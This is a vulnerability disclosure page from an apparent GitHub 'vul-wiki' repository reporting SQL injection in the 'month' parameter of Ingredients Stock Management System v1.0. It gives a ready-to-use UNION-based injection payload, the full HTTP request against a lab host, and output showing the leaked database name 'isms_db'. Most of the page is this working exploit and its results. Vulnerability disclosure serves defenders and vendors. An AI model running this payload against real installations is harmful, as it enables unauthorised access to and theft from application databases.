

master ▾

...

[vul-wiki](#) / [vendors](#) / [oretnom23](#) / [ingredients-stock-management-system](#) / [SQLi-2.md](#)

debug601 Create SQLi-2.md

[History](#)

1 contributor

25 lines (18 sloc) | 1.07 KB

...

Ingredients Stock Management System v1.0 by oretnom23 has SQL injection

vendors: <https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html>

Vulnerability File: /isms/admin/?page=reports/stockout&month=

Vulnerability location: /isms/admin/?page=reports/stockout&month=, month

db_name = isms_db;

[+] Payload: /isms/admin/?page=reports/stockout&month=2022-07%27%20union%20select%201,2,3,4,5,6,7,database(),9,10--+ // Leak place ---> month

```
GET /isms/admin/?page=reports/stockout&month=2022-07%27%20union%20select%201,2,3,4,5
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=2m880botn1u43hd2gu23ttj4ug
Connection: close
```

◀

▶

INT

SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

Load URL

Split URL

Execute

http://192.168.1.19/isms/admin/?page=reports/stockout&month=2022-07' union select 1,2,3,4,5,6,7,database(),9,10--+

☐ Post data

☐ Referrer

◀

0xHEX

▶

◀

%URL

▶

◀

BASE64

▶

Insert string to replace

Insert replacing string

☒ Replace All

▶

ISMS - PHP

Dashboard

Category List

Item List

Stock Manager

Reports

Maintenance

User List

System Information

Ingredients Stock Management System - Admin

Adn

Monthly Stock-Out Reports

Filter

Choose Month

2022-07' union select 1,2,3,4,5,6,7,database(),9,10--+

Filter

#	Date	Item	Quantity	Remarks
1	January 01, 1970	isms_db [10] 9	4 5	